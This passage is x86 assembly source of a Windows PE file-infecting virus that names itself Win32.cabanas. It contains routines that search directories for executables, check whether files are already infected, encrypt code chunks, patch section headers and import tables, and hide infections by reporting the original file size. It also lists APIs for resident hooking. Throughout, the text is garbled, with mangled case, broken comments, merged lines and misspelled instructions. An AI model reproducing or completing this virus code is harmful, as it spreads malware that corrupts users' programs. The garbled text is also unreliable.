JNC N_Next_reloc; It Doesnt Point To Our Chunk Of Code, Get Next Relocation Item

This Relocation item is Pointing Inside Our chunk of code ..

Nulify and Mark IT!

And Byte Ptr [ESI.HIB - 2], Not (Mask Rd_RelocTy Shr 8); Nulify Relocation!

n_next_reloc:

LOOP NUL_RELOCS; Get Next Relocation Item

RET

Mark_reloc:

Call get_relocs

Go_POPAD:

Popad

XCHG ECX, Eax; Size of this Chunk of Code

Add edi, [ebp.pushad_ebx]; Convert RVA Start of Chunk of Code to a Raw Value

Sub edi, [ebp.pushad_edX]

pre_crypt:

Lodsb; Encrypt Chunk of Code ..

XCHG [EDI], Al

Ror Al, Cl

Inc EDI

XOR Al, 06ah

_xor_2nd_val = byte PTR $ - 1

MOV [ESI-1], Al

Loop pre_crypt

Lodsw; get next chunk of code

CWDE

POP EDI

XCHG ECX, EAX; NO MORE ChunKz?

Jecxz pre_crypt_done

Sub EDI, ECX; Point Edi to Next Chunk

JMP Nulify_Relocs; Check Relocationz, Jump

pre_crypt_done:

SUB Al, -0e8h; build 'call' Instruction

POP EDI

Stosb

Lea Eax, [EAX GET_BASE - CODE_START - 4 - 0E8H ESI];

Sub Eax, EDI

Stosd

MOV CX, (v_end - code_start 3) / 4

Add Eax, EDI

Mov EDI, [EBP.cPushad.cpushad.pushad_eax]; Get Start of Virus Code

Mov edx, [ebp.cpushad.cpushad.pushad_edx]; get Embedded Base

XCHG ESI, EDI

Rep Movsd; COPY Virus Code

SUB ECX, [ebp.cpushad.pushad_eax]

MOV [ebp.cpushad.pushad_edi], EDI

Add ECX, -5

MOV [EAX OLD_BASE - GET_BASE], EDX; Hardcode Some Valuez ..

MOV [EAX DELTA_HOST - GET_BASE], ECX

Popad

Popad

x = image_sizeof_section_header

Sub EDI, ECX; Change Characteristicz of Last Section in The Pe Header..le ECX, [EDX EDI]

XCHG EDX, EAX

INC EAX

CDQ; EDX = 0

XCHG ECX, EAX

Div ECX; Calculate New Size of Last Section

Mul ECX

XCHG Eax, EDI

MOV ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT - MZ_LFANEW]

SUB EAX, V_END - Virtual_END

CMP [EBX.SH_VIRTUALSIZE - X], EAX; Calculate New Virtual Size of Last Section

JNC N_VIR

MOV [ebx.sh_virtualsize - x], eax

N_vir: DEC EAX

MOV [EBX.SH_SIZEOFRAWDATA - X], EDI; UPDATE SIZE OF LAST Section

Add Eax, ECX

Div ECX

Mul ECX

POP EBP; GET Original File Size

Add Eax, [EBX.SH_VIRTUALADDRESS - X]

CMP [ESI.NT_OPTIONALHEADER.OH_SIHOFIMAGE - MZ_LFANEW], EAX; Update Size of Image Field in The PE Header

JNC N_IMG

MOV [ESI.NT_OPTIONALHEADER.OH_SIZEOFIMAGE - MZ_LFANEW], EAX

n_img: add edi, [ebx.sh_pointertorawdata - x]

SUB ECX, ECX

OR BYTE PTR [EBX.SH_CHARACTERISTICS.HIW.HIB - X], 0C0H; Change Section Flagz

Push EBP

Mov Eax, [ESI.NT_OPTIONALHEADER.OH_CHECKSUM - MZ_LFANEW]; Calculate Special Checksum to Mark Infected Filez

XOR EBP, EAX

Add Al, -2DH

XOR EBP, 0B2FD26A3H XOR 0D4000000H

Not al

XOR Al, AH

SHL EBP, 6

XOR Al, Byte Ptr [ESI.NT_OPTIONALHEADER.OH_CHECKSUM.HIW - MZ_LFANEW]

SHR Al, 2

SHLD EAX, EBP, 3 * 8 2

MOV [ESI.NT_FILEHEADER.FH_TIMEDATESTAMP - MZ_LFANEW], EAX; Store Checksum Value

POP EAX; Get Original File Size

MOV CL, 65H

CMP EAX, EDI; Calculate New File Size ..

.IF carry?

Xchg EDI, EAX

.endif

SUB EAX, 1 - 65H

Div ECX

Mul Ecx; use size paddin ..

Push EAX

End_attach:

Popad

NEEDED_RET:

RET

Attach Endp

Process_dir:; this function receivers a Pointer to an asciiz string

Containin a Path, Then IT Searches Filez with an extension

Matchin the list of extensionz, and finaly infects.

; on entry :; edi = Pointer to Pathname

EAX = Size of Pathname

Dec EAX

CMP EAX, 7FH

JNC Needed_ret; if Pathname Greater Than 7fh Characterz, Jump

Pushhad

MOV ESI, EDI

ADC EDI, EAX

CLD

MOV Al, '/'; add '/' to the pathname if not included

CMP [EDI-1], Al

JZ Find_Filez

Stosb

Find_filez:; Find Filez in the specified pathname ..

Push EDI

SUB EAX, '/' - '*. *'

Stosd

Call Findfirst; Find Each File "*. *" in The Path

POP EDI

JZ end_attach; if error, jump

Dec EAX

Push Eax; Save Search Handle

Process_file:; a File Was Found, Process IT

Push EDI

Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName

Call process_file3; process file, infect it

Find_next:

POP EDI

POP EAX

Push EAX

Push EBX

Push EAX

Call [EBP DDFINDNEXTFILEA - EBP_NUM]; Find Next File

TEST EAX, EAX; more filez?

JNZ Process_File; Yea, Process IT, JUMP

FIND_CLOSE:

Call [EBP DDFINDCLOSE - EBP_NUM]; Close Search

END_FIND:

END_PROCESS_DIR:

Popad

RET

Apicall @ n_2: MOV CL, 2; Call An API AND Pass Two Parameterz

Apicall @ n proc; this function calls an API AND PaSSES "N" Parameterz

as argumentz

On Entry:

EAX = API Function Adression

ECX = Number of Paremeterz

Pushfd

Movzx EDX, CL

MOV ECX, EDX

Push_args: Push DWORD PTR [ESP. (2 * pshd) 4 * Edx]; Push Parameter

Loop push_args

Call Eax; Call API

POPFD

RET

Apicall @ n endp

IgetProcadDressit:

POP EDX

Push EAX

Lea Eax, [EBP VSZKERNEL32 - EBP_NUM]

Push EAX

Push Edx

GetProcaddressit Proc; Gets a Pointer to an API Function from the import Table

; (The Object Inspected Is in Raw Form, I.E. Memory-Maped)

On Entry:

; TOS 08H (Arg2): API Function Name

; TOS 04H (Arg1): Module Name

; TOS 00h (Return AdRess); on exit:

Eax = RVA Pointer to Iat Entry

EAX = 0, if not found

Pushhad

Lea ESI, [ECX.MZ_LFANEW]

MOV EBP, ECX; Get Kernel32 Module Handle

Add ESI, [ESI]; GET Address of PE Header MZ_LFANEW

MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF IMPORT DIRECTORY

.Oh_directoryentries /

.DE_IMPORT /

.Dd_size /

-Mz_lfanew]

Jecxz end_getprocaddressit2; if size is zero, no API imported!

MOV EAX, [ESI.NT_OPTIONALHEADER /; GET Address of Import Directory

.Oh_directoryentries /

.DE_IMPORT /

.Dd_virtualaddress /

-Mz_lfanew]

Call Rva2Raw; Find Size and Raw Start of Import Section

JECXZ End_GetProcaddressit

PUSH ESI

MOV EAX, [ESP. (PSHD) .pushad_ebp]

MOV [EAX IMPORTHDR - EBP_NUM], ECX; Save Raw Adression of Import Section Header for L8R USE

x = image_sizeof_import_descriptor

GET_DLL_NAME:; Scan Each Import Description Inside Import Section To Match Module Name Specified

POP ESI; Diference (if any) Between Start of Import Table and Start of Import Section

MOV ECX, [EBX.ESI.ID_NAME]; Get RVA Pointer to Imported Module Name

End_getprocaddressit2:

JECXZ END_GETPROCADDRESSIT; END OF IMPORT DESCRIPTORZ?

SUB ECX, EDX; Convert RVA Pointer to Raw

CMP ECX, EBP; Check if IT Points Inside Section

Jae End_GetProcaddressit

SUB ESI, -X

Push ESI; Save Next Import Descriptor for Later Retrieval

Lea ESI, [EBX ECX]

MOV EDI, [ESP. (Pshd) .cpushad.arg1]; Get Module Name Specified from Arg1

Next_char_from_dll:; do a char by char comparison with module name found inside second

Stop when a null or a dot '.' is found

Lodsb

Add Al, - '.'

JZ IT_NUP; ITS A DOT

SUB Al, - '.' 'a'

CMP Al, 'Z' - 'A' 1

JAE NO_UP

Add Al, -20H; Convert to Upercaseno_up: Sub Al, - 'A'

IT_nup: scaSB

JNZ GET_DLL_NAME; Namez Dont Match, Get Next Import Descriptor

CMP Byte PTR [EDI-1], 0

Jnz next_char_from_dll

Found_dll_name:; WE Got The Import Descriptor Containin Specified Module Name

POP ESI

Lea Eax, [EDX ESI.ID_FORWARDERCHAIN ​​- X]

Add ESI, EBX

MOV [ESP.PUSHAD_EDX], Eax; Store Pointer to Forwarderchain Field for Later USE

Mov [ESP.PUSHAD_ESI], ESI; Store Pointer To Import Descriptor for Later Use

Push DWORD PTR [ESP.CPUSHAD.ARG2]

MOV EAX, [ESP. (PSHD) .pushad_ebp]

Push DWORD PTR [EAX K32MOD - EBP_NUM]

Call getProcaddresset; Scan Export Table of Specified Module Handle

Xchg Eax, Ecx; and get function adress of specific API

Mov ECX, [ESI.ID_Firstthunk - x]; this is neededed just in case the API Function AdRessz Arezet in the IAT

JECXZ END_GETPROCADDITITIT; if Not Found The Go, this Value Cant Be Zero or The IAT Wont BE PATCHED

Push EAX

Call getProcadDriat; Inspect First Thunk (Which Later Will Be Patch by The Loader)

Test Eax, EAX

JNZ IAT_FOUND; if Found Then Jump (Save IT and Go)

Mov ECX, [ESI.ID_ORIGINALFIRSTHUNK - X]; Get Original Thunk (Which Later Will Hold The Original Unpatch IAT)

JECXZ END_GETPROCADDRESSITIT; if Not Found The GO, this Value Could Be Zero

Push EAX

Call getProcadDriat; Inspect Original Thunk

Test Eax, EAX

JZ IAT_FOUND; JUMP IF NOT FOUND

Sub Eax, Ecx; We Got The Pointer

Add Eax, [ESI.ID_Firstthunk - x]; Convert It To RVA

DB 6BH, 33H, 0C0H; Imul ESI, [EBX], - 0C0H; I Like Bizarre Thingz = 8p

ORG $ - 2

End_getprocaddressit:

DB 33H, 0C0H; XOR Eax, Eax; Error, AdRess Not Found

IAT_Found:

MOV [ESP.PUSHAD_EAX], EAX; Save Iat Entry Pointer

Popad

RET (2 * pshd); Jump and unwind Parameterz in Stack

Findfirst:; this function is just a wraper to the findfistfilea api ..

Lea EBX, [EBP FINDDATA - EBP_NUM]

Push ebx; args for findfirst

Push ESI; Args for Findfirst

Call [EBP DDFINDFIRSTFILEA - EBP_NUM]; CALL FINDFIRSTFILEA API

END_FINDFIRST:

INC EAX

CLD

RET

Get_size:; this function retrieves the file size and discards

Huge Filez, IT Also Sets Some Parameterz for L8R USE

On Entry:

EBX = Pointer to Win32_find_data structure

ON EXIT:

EAX = file size

ESI = POINTER TO FileName

Carry Clear: File OK

Carry set: File Too Large

XOR ECX, ECX

TEST BYTE PTR [EBX.WFD_DWFILEATTRIBUTES], File_Attribute_directory

JNZ get_size_ret; Discard Directory Entriez

MOV EDX, ECX

CMP [EBX.WFD_NFILESIGHIGH], EDX; Discard Hue Filez, Well if any Thaat Big (> 4GB)

MOV CL, 65H; Load Size Padin Value

Lea ESI, [EBP PATHNAME - EBP_NUM]; GET POIT POIT POINTER TO FILENAME

MOV EAX, [EBX.WFD_NFILESZELOW]; GET FILE SIZE

Get_size_ret:

RET

GetProcadDriat:; this function scans the image_thunk_data array of "dwords"

From the selected image_import_descriptor, searchin for

The SELECTED API Name. this function Works for Both

; Bound and UNBound Import Descriptorz. this function is

Called from inside getprocaddressit.

On Entry:

EBX = RAW Start Pointer of Import Section

ECX = RVA POINTER TO image_thunk_Array

Edx = RVA Start Pointer Of Import Section

EDI = Pointer SELECTED API Function Name.

EBP = Raw Size of Import Section

; TOS 04H (Arg1): Real address of API Function Inside Select

Module (In Case The Descriptor is unbound).

; TOS 00h (Return AdRess)

ON EXIT:

Eax = RVA Pointer to Iat Entry

EAX = 0, if not found

Push ECX

Push ESISUB ECX, EDX

XOR EAX, EAX

CMP ECX, EBP

JAE IT_NOT_FOND

Lea ESI, [EBX ECX]; Get Raw Pointer to Image_thunk_Data Array

Next_thunk_dword:

Lodsd; Get DWORD VALUE

TEST EAX, EAX; END OF IMAGE_THUNK_DATA ARRAY?

JZ IT_NOT_FOND

NO_ORDINAL:

Sub Eax, EDX; Convert DWORD TO A RAW POINTER

CMP EAX, EBP; DWORD BELONGS TO AN UNBOUND Image Descriptor?

JB IT_Search; No, Jump

Add Eax, EDX; Yea, We Have The Api Adress Itself, Reconvert to RVA

CMP EAX, [ESP. (2 * pshd) .arg1]; API AdRessz match?

JMP it_found?; yea, we found it, jump

IT_SEARCH:

Push ESI; Image Descriptor Contains Imports by Name

Lea ESI, [EBX EAX.IBN_NAME]; Get API Name from Import Descriptor

Mov EDI, [ESP. (5 * pshd) .cpushad.arg2]; Get API Name SELECTED AS A parameter

IT_Next_Char:; Find Requested API from ALL IMPORTED API Namez ..

Cmpsb; Do Apiz Match?

JNZ IT_NEW_SEARCH; NO, Continue Searchin

IT_MATCHED_CHAR:

CMP Byte PTR [ESI-1], 0

JNZ IT_NEXT_CHAR

IT_NEW_SEARCH:

POP ESI; YEA, THEY MATCH, We Found IT

IT_FOUND ?:

JNZ next_thunk_dword

Lea Eax, [EDX ESI-4]; Get The Pointer to the New Iat Entry

Sub Eax, EBX; Convert It To RVA

IT_NOT_FOND:

POP ESI

POP ECX

RET (PSHD)

GetProcaddressit Endp

Check_pe_file:; this function Opens, Memory-Maps a file and checks

; if ITS a pe file

On Entry:

EBX = Pointer to Win32_find_data structure

ESI = POINTER TO FileName

ON EXIT:

ESI = 0, file already infected or not infectable

ESI! = 0, File Not Infected

Call Open & MapFile; Open and Memory-Map The File

JECXZ END_PE_FILE

MOV EAX, [EBX.WFD_NFILESZELOW]; GET FILE SIZE

Add Eax, -80h

JNC Close_File; File TOO SHORT?

CHECK_PE_SIGN:; this function checks validity of a pe file.

On Entry:

; Ecx = base address of memory-maped file; ebx = pointer to win32_find_data structure

EAX = Host File Size - 80H

ON EXIT:

ESI = 0, file already infected or not infectable

ESI! = 0, File Not Infected

CMP Word PTR [ECX], Image_DOS_SIGNATURE; Needs MZ Signature

JNZ Close_File

MOV EDI, [ECX.MZ_LFANEW]; GET PTR TO New EXE FORMAT

CMP EAX, EDI; PTR OUT OF RANGE?

JB Close_File

Add Edi, ECX

CMP DWORD PTR [EDI], Image_NT_SIGNATURE; Check PE SIGNATURE

JNZ Close_File

CMP Word Ptr [edi.nt_fileHeader.fh_Machine], /; MUST BE 386 Machine

Image_file_machine_i386

JNZ Close_File

Mov Eax, DWORD PTR [edi.nt_fileheader.fh_characteristics]

Not al

Test AX, image_file_executable_image or /; Must Have The Executable Bit But Cant Be a DLL

Image_file_dll

JNZ Close_File

At this point, Calculate Virus Checksum To Make Sure File Is Really

Infected. if its infected the return Original Size of Host Previous

To Infection and Store IT IN The Win32_Find_Data Structure (Stealth).

Mov Eax, [edi.nt_optionalheader.oh_checksum]; Get Checksum Field

Push EAX

SUB Al, 2DH; Calculate Virus Checksum To Make Sure File IS Really Infected

XOR AH, Al

MOV Al, [edi.nt_fileHeader.fh_timedatestamp.hiw.hib]

XOR AH, Byte Ptr [edi.nt_optionalheader.oh_checksum.hiw]

And Al, 11111100B

XOR AH, Al

MOV [EBP UNI_OR_ANSI - EBP_NUM], AH

Inc AH

POP EAX

JNZ Go_esi

XOR EAX, 0B2FD26A3H XOR 68000000H

xor eax, [edi.nt_fileHeader.fh_timedatestamp]

And Eax, 03fffffh

Cmp Eax, [ebx.wfd_nfilesizerow]

JNC Go_esi

Mov [EBX.WFD_NFILESZELOW], EAX; Return Original File Size

GO_ESI: INC ESI; SET "already infected" Mark

Close_file:

Call Close & Unmapfile; Close and Unmaps File

END_PE_FILE:

Dec ESI

RET

Pop_ebp:; get the ebp_num value needed to access Variablez Thru EBPPOP EBP

IF (EBP_NUM - M_EBP)

LEA EBP, [EBP EBP_NUM - M_EBP]

ENDIF

MOV [EBP UNI_OR_ANSI - EBP_NUM], Al

CLD

Another_ret:

RET

Process_file2:; this function checks the file size, retrieves some key API

Adressez from Inside The Import Table and Infects The File.

On Entry:

EBX = Pointer to Win32_find_data structure

ESI = POINTER TO FileName

CALL GET_SIZE

JNZ Another_ret; if File Size Too Short, Jump

CMP EAX, 4000000H - 10 * 1024

JNC Another_ret; if File Size Too Large (> 64MB), JUMP

Div ECX; Check Infection Thru size Paddin

Dec edx

JS Another_ret; already infected, jump

Call check_pe_file; open file, Check PE Signature and Close File

JNZ Another_ret; Not Valid PE File, Jump

Inc Byte PTR [EBP UNI_OR_ANSI - EBP_NUM]; Double-Check File

JZ Another_Ret; Discard if Infected

Bless:; this function preparees the host file for infection: blank file

Atributez, Open and Map File In R / W Mode, Retrieves RVA Pointerz

To getModuleHandlea, GetModuleHandlew and getProcaddress, Call

; "attach" function to infect the file and finaly restore

Date / Time Stamp and Attributez

PUSH ESI

Lea ESI, [EBP PATHNAME - EBP_NUM]; GET POIT POIT POINTER TO FILENAME

PUSH ESI

Call [EBP DDSETFILEATTRIBUTESA - EBP_NUM]; Blank File Atributez

XCHG ECX, EAX

Jecxz Another_ret; if Error, Jump, IF Disk is Write-Protected for Example

PUSH ESI

Mov Edi, Virtual_END - CODE_START; CALCULATE BUFFER SIZE NEDED INFECTION

Add edi, [ebx.wfd_nfilesizelow]; add to Original Size

Call Open & MapFileAdj; Open and Map File in Read / Write Mode

JECXZ END_BLESS2; if any error, if File is locked for example, jump

Lea EAX, [EBP VSZGETMODULEHANDLEA - EBP_NUM] Call IgetProcaddressit; Get RVA Pointer to getModuleHandlea API in the import Table

Test ESI, ESI

JZ END_BLESS3; if kernel32 Import Descriptor Not Found, Dont Infect

x = image_sizeof_import_descriptor

MOV [EBP PTRFORWARDERCHAIN ​​- EBP_NUM], EDX; Store RVA Pointer To Forwarderchain Field from Kernel32 Import Descriptor

Mov Edx, [ESI.ID_Forwarderchain - x]

MOV [EBP DDGETMODULEHANDLEA - EBP_NUM], EAX; Store RVA Pointer To GetModuleHandlea API

MOV [EBP DDFORWARDERCHAIN ​​- EBP_NUM], EDX; Store Actual Forwarderchain Field Value from Kernel32 Import Descriptor

CDQ; EDX = 0

Dec Eax; if rva pointer to getModuleHandlea Found, Jump and store null for getModuleHandlew RVA Pointer (Not needed)

JNS StoreHandlew

Lea Eax, [EBP VSZGETMODULEHANDLEW - EBP_NUM]

Call IgetProcaddressit; Get RVA Pointer To GetProcaddress API in the import TABLE

XCHG EAX, EDX

Test EDX, EDX; if Found, Jump and Store getModuleHandlew RVA Pointer

Jnz StoreHandlew

CMP [esi.id_timedatestamp - x], edx; shit, not found, now check if kernel32 API AdRessez Arez Arez is Binded

JZ StoreHandlew

Cmp Edx, [ESI.ID_ORIGINALFIRSTHUNK - X]

JZ end_blest3

MOV [esi.id_timedatestamp - x], EDX

StoreHandlew:

MOV [EBP DDGETMODULEHANDLEW - EBP_NUM], EDX; Store RVA Pointer To GetModuleHandlew API

Lea Eax, [EBP VSZGETPROCADDRESS - EBP_NUM]

Call IgetProcaddressit; Get RVA Pointer to getModuleHandlea API in the import table

MOV [EBP DDGETPROCADDRESS - EBP_NUM], EAX; Store RVA Pointer To GetModuleHandlew API IF Found, Store Zero if not found Anywayz

Call attach; infect file

At this point:

ECX = host base adress, Start of Memory-Maped File

EDI = Original File Size

END_BLESS3:

Call Close & UnmapfileAdj; Close, Unmap File And Restore Other Setingz if nesenet_ble2:

POP ESI; GET POINTER TO FileName

MOV ECX, [EBX.WFD_DWFILEATTRIBUTES]; Get Original File Atributez

JECXZ END_BLESS1

Push ECX

PUSH ESI

Call [EBP DDSETFILEATTRIBUTESA - EBP_NUM]; Restore Original File Atributez

END_BLESS1:

END_PROCESS_FILE2:

RET

GetProcaddresset Proc; this function is similar to getProcaddressit Except

; That IT Looks for API Functions in the export table

; ly a given dll module. It has the same functionality

As the Original GetProcaddress API Exported from

Kernel32 Except That It Is Able To Find API

Functions exported by Ordinal from kernel32.

On Entry:

; TOS 08H (Arg2): pszapiname (Pointer to API Name)

; TOS 04H (Arg1): Module Handle / Base Address of Module

; TOS 00h (Return AdRess)

ON EXIT:

ECX = API Function Address

ECX = 0, if not found

Pushhad

@Seh_setupframe

Mov Eax, [ESP. (2 * pshd) .cpushad.arg1]; Get Module Handle from Arg1

MOV EBX, EAX

Add eax, [eax.mz_lfanew]; get address of pehader

Mov ECX, [Eax.nt_OptionalHeader /; Get Size Of Export Directory

.Oh_directoryentries /

.De_export /

.Dd_size]

Jecxz proc_address_not_found; size is zero, no API exported

MOV EBP, EBX; Get Address Of Export Directory

Add EBP, [Eax.nt_OptionalHeader /

.Oh_directoryentries /

.De_export /

.Dd_virtualaddress]

IFDef Ordinal

MOV EAX, [ESP. (2 * pshd) .cpushad.arg2]; Get Address of Requested API from arg2

Test Eax, -10000h; Check if arg2 is an ot

JZ ITS_API_ORDINAL

ENDIF

ITS_API_NAME:

Push ECX

MOV EDX, EBX; Get Address of Exported API Namez

Add edx, [ebp.ed_addressofnames]

MOV ECX, [EBP.ED_NUMBEROFNAMES]; GET NUMBER OF EXPORTED API Namez

XOR EAX, EAX

CLD

Search_for_api_name: MOV ESI, EBX; Get Address of Next Exported API Name

Add ESI, [EDX EAX * 4]

MOV EDI, [ESP. (3 * pshd) .cpushad.arg2]; Get Address of Requested API Name from Arg2

Next_char_in_api_name:

CMPSB; Find Requested API from ALL Exported API Namez

JZ matched_char_in_api_name

INC EAX

Loop search_for_api_name

POP EAX

PROC_ADDRESS_NOT_FOND:

XOR Eax, Eax; API NOT FOUND

JMP END_GETPROCADDRESSET

IFDef Ordinal

ITS_API_ORDINAL:

Sub Eax, [EBP.ED_BASEORDINAL]; NORMALIZE ORDINAL, I.E. Convert it to an an index

JMP CHECK_INDEX

ENDIF

Matched_char_in_api_name:

CMP BYTE PTR [ESI-1], 0; END OF API NAME REACHED?

JNZ next_char_in_api_name

POP ECX

MOV EDX, EBX; Get Address of Exported API Ordinalz

Add edx, [ebp.ed_addressofordinals]

Movzx Eax, Word PTR [EDX EAX * 2]; GET INDEX INTO EXPORTED API FunctionZ

Check_index:

CMP EAX, [EBP.ED_NUMBEROFFUNCTIONS]; Check for out of Range INDEX

JAE Proc_Address_not_found

MOV EDX, EBX; Get Address of Exported API FunctionZ

Add Edx, [EBP.ED_ADDRESSOFFUNCTIONS]

Add EBX, [EDX EAX * 4]; Get Address of Requested API Function

MOV EAX, EBX

SUB EBX, EBP; Take Care of Forwarded API FunctionZ

CMP EBX, ECX

JB proc_address_not_found

End_getprocaddresset:

MOV [ESP. (2 * pshd) .pushad_ecx], EAX; Set Requested Proc address, if Found

@Seh_removeframe

Popad

JMP Ret2PSHD

GetProcaddresset ENDP

Goto_getProcaddresset:

JMP getProcAddresset

MygetProcaddressk32:; this function is simply a wraper to the getprocaddress

; API. It Retrieves The Address of An API Function

Exported from kenel32.

On Entry:

EBX = kernel32 Module Handle

ESI = pszapiname (Pointer to API Name)

ON EXIT:

ECX = API Function Address

ECX = 0, if not found

POP EAX

PUSH ESI

Push EBX

Push EaxMygetProcaddress Proc; this function retrieves API adressez from kernel32

Mov ECX ,?; this Dynamic Variable Will Hold An RVA Pointer to the getProcaddress API in The IAT

DDGETPROCADDRESS = DWORD PTR $ - 4

JECXZ GOTO_GETPROCADDRESSET

PUSH ESI

Push EBX

Add ECX, [EBP Phost_HDR - EBP_NUM]

Call [ECX]; Call The Original GetProcaddress API

XCHG ECX, EAX

JECXZ GOTO_GETPROCADDRESSET; if Error, Call My OWN GETPROCADDRESS FUNCTION

Ret2pshd:

Ret (2 * pshd)

MygetProcaddress Endp

MygetModuleHandlew:; this function retrieves the base address / module handle

; Of kernel32 module previosly loading to memory asumin

; getModuleHandlew API WAS Found in the import

Table of the host

Mov ECX, THIS DYNAMIC VARIABLE WILL HOLD An RVA Pointer to The getModuleHandlew API in the IAT

DDGETMODULEHANDLEW = DWORD PTR $ - 4

JMP MygetModuleHandle

MygetModuleHandlea:; this function retrieves the base address / module handle

; Of kernel32 module previosly loading to memory asumin

The getModuleHandlea API WAS Found in The Import

Table of the host

Mov ecx ,?; this Dynamic Variable Will Hold An RVA Pointer to the getModuleHandlea API in the IAT

DDGETMODULEHANDLEA = DWORD PTR $ - 4

MygetModuleHandle Proc; This Function Retrieves The Base AdRess of kernel32

On Entry:

; ECX = RVA Pointer to getModuleHandle (A / W) in the IAT

; TOS 04H (Arg1): Pointer to Kernel32 Module Name

; TOS 00h (Return AdRess)

ON EXIT:

; Zero Flag Set = Base AdRess Not Found

; Zero flag clear = base adression

EAX = kernel32 base adress

SUB EAX, Eax; Set Zero Flag

POP EBX; GET RETURN AdRess

POP Eax; Arg1

Push EBX; Push Return AdRess

MOV EBX, [EBP Phost_HDR - EBP_NUM]; Get Actual Host Base AdRess

Jecxz end_mygetmodulehandle; if not valid getModuleHandle (A / W) RVA, JUMP

Push EAX

Call [EBX ECX]; CALL GETMODULEHANDLE (A / W) API

CHK_0: Inc EAX

JZ end_mygetmodulehandle; if any error, not found, jump

Dec EAX

END_MYGETMODULEHANDLE:

RET

MygetModuleHandlex:; this function retrieves the kernel32 base adress

; via an undocumented method. this function procedure

Doesnt Work in Winblowz NT

MOV EAX, [EBX 12345678H]

Ptrforwarderchain = DWORD PTR $ - 4

CMP EAX, 12345678H

DDFORWARDERCHAIN ​​= DWORD PTR $ - 4

JNZ ChK_0

RET

MygetModuleHandle Endp

GET_EBP2: MOV Al, 0

JNC Get_EBP; Clear Carry (Unicode Version)

Dec Eax; Clear Set (ANSI Version)

GET_EBP: CALL POP_EBP

m_ebp:

v_end:; virus code ends here

Uninitialized Data; Thase Variablez Will Be Adred in Memory, But Dont Waste Space In The File

Importhdr dd?; Import Table RVA of current Host

PCODETABLE DD?; Pointer to Encrypted Chunkz of Code; these 2 Variables May Overlap.

ORG $ - 4; One IS Used At Instalation Stage,

PHANDLEZ DD?; Pointer to Top of Handlez Table; The Other ONE Used When Resident.

PhoSt_HDR DD?; Pointer to Actual Base Adression of Host

Pcode_Start Dd?; Pointer to Start of Virus Code / Data In Memory

K32MOD DD?; Kernel32 base adress

DDGETPROCADDRESS2 DD?; AdRess WHERE GetProcaddress API Will Be Stored; these 2 Variables May Overlap.

ORG $ - 4; One IS Used At Instalation Stage,

PPathNamez Dd?; PoinTo Top of Pathnamez Table; The Other One Used When Resident.

PNEWAPIS DD?; Pointer To New API Entry in the Jump Table

UNI_OR_ANSI DB?; Needed to Diferentiate Unicode from Ansi Stringz

FunctionAdRessez:; this dwordz will hold the API Function AdRessez buy by the Virus

DDCREATEFILEA DD?

DDCREATEFILEW DD?

DDFINDCLOSE DD? DDFINDFIRSTFILEA DD?

DDFINDFIRSTFILEW DD?

DDFINDNEXTFILEA DD?

DDFINDNEXTFILEW DD?

DDSETFILEATTRIBUTESA DD?

DDSETFILEATTRIBUTESW DD?

DDCLOSEHANDLE DD?

DDCREATEFILEMAPPINGA DD?

DDMAPVIEWOFFILE DD?

DDUNMAPVIEWOFFILE DD?

DDSETFILEPOINTER DD?

DDSETENDOFFILE DD?

DDSETFILETIME DD?

DDGETWINDOWSDIRECTORYA DD?

DDGETSYSTEMDIRECTORYA DD?

DDGETCURRENTPROCESS DD?

DDGETMODULEFILENAME DD?

DDWRITEPROCESSMORY DD?

DDWIDECHARTOMULTIBYTE DD?

DDVIRTUALLOC DD?

v_stringz:; the Api namez buy by the Virus Are Decrypted Here

vszkernel32 db 'kernel32', 0

VszgetModuleHandlea DB 'getModuleHandlea', 0

vszgetModuleHandlew DB 'getModuleHandlew', 0

EXTS DB 'FXETCR'; List of Extensionz to Infect

DB 0

FunctionNamez2:; Resident API Namez, Needed for Dynamically API Hookin

vszgetProcaddress DB 'getProcaddress', 0

vszgetfileAttributesa db 'getfileattributesa', 0

vszgetfileAttributesw db 'getfileattributesw', 0

vszmovefileexa db 'movefileexa', 0

vszmovefileexw db 'movefileexw', 0

VSZ_LOPEN DB '_LOPEN', 0

VSZCopyFilea DB 'CopyFilea', 0

VSZCopyFilew DB 'CopyFilew', 0

vszopenfile db 'openfile', 0

Vszmovefilea DB 'Movefilea', 0

VszmoveFilew DB 'MoveFilew', 0

VszcreateProcessa DB 'CreateProcessa', 0

VszcreateProcessw DB 'CreateProcessw', 0

FunctionNamez:

VSZCREATEFILEA DB 'CREATEFILEA', 0

vszcreatefilew db 'createfilew', 0

VSZFindClose DB 'FindClose', 0

vszfindfirstfilea db 'findfirstfilea, 0

vszfindfirstfilew db 'fatfirstfilew', 0

VSZFindNextFilea DB 'FindnextFilea', 0

vszfindnextfilew db 'findnextfilew', 0

VSZSETFileAttributesa DB 'SetFileAttributesa', 0VSZSETFileAttributesw DB 'setFileAttributesw', 0

Non_res:; non-resident API Namez

vszclosehandle db 'closehandle', 0

vszcreatefilemappinga db 'createfilemappinga, 0

vszmapviewoffile db 'mappviewoffile', 0

vszunmapviewoffile db 'unmapviewoffile', 0

vszsetfilepointer db 'setfilepointer', 0

vszseetendoffile db 'setndoffile', 0

vszsetfiletime db 'setfiletime', 0

vszgetWindowsDirectory DB 'getWindowsDirectorya', 0

VszgetsystemDirectory DB 'getSystemDirectorya', 0

vszgetcurrentprocess db 'getcurrentprocess', 0

vszgetmodulefilename db 'getModuleFileNamea', 0

vszwriteprocessMemory DB 'WriteProcessMemory', 0

vszwidechartomultibyte db 'widechartomultibyte', 0

VSZVIRTUALLOC DB 'Virtualalloc', 0

EndoffunctionNamez DB 0

Szcopyright DB "(c) Win32.cabanas v1.1 by jqwerty / 29a.", 0

ORG (Non_RES 1)

v_end2:

NEWAPITABLE DB NAPIS DUP (?)

Finddata Win32_Find_Data?; This Structure Will Hold Data Retrieved TRHU FINDFIRST / NEXT APIZ

Pathname DB MAX_PATH DUP (?); FileNamez Will Be Stored Here for Infection

Virtual_end:; End of Virus Virtual Memory Space (in PE Filez)

Handlez DB Nhandlez DUP (?); Handlez Table

Pathnamez DB Npathnamez DUP (?); Pathnamez Table

Virtual_end2:; End of Virus Virtual Memory Space (In Flat Memory)

First_Generation:; this Routine Will Be Called Only Only from the first generation sample,

IT INIZES SOME VARIABLES NEDED by The Virus in The First Run.

Jumps

Push null

Call getModuleHandlea

Test Eax, EAX

JZ EXIT

XCHG ECX, EAX

Call Ref

Ref: POP EBX

MOV EAX, EBX

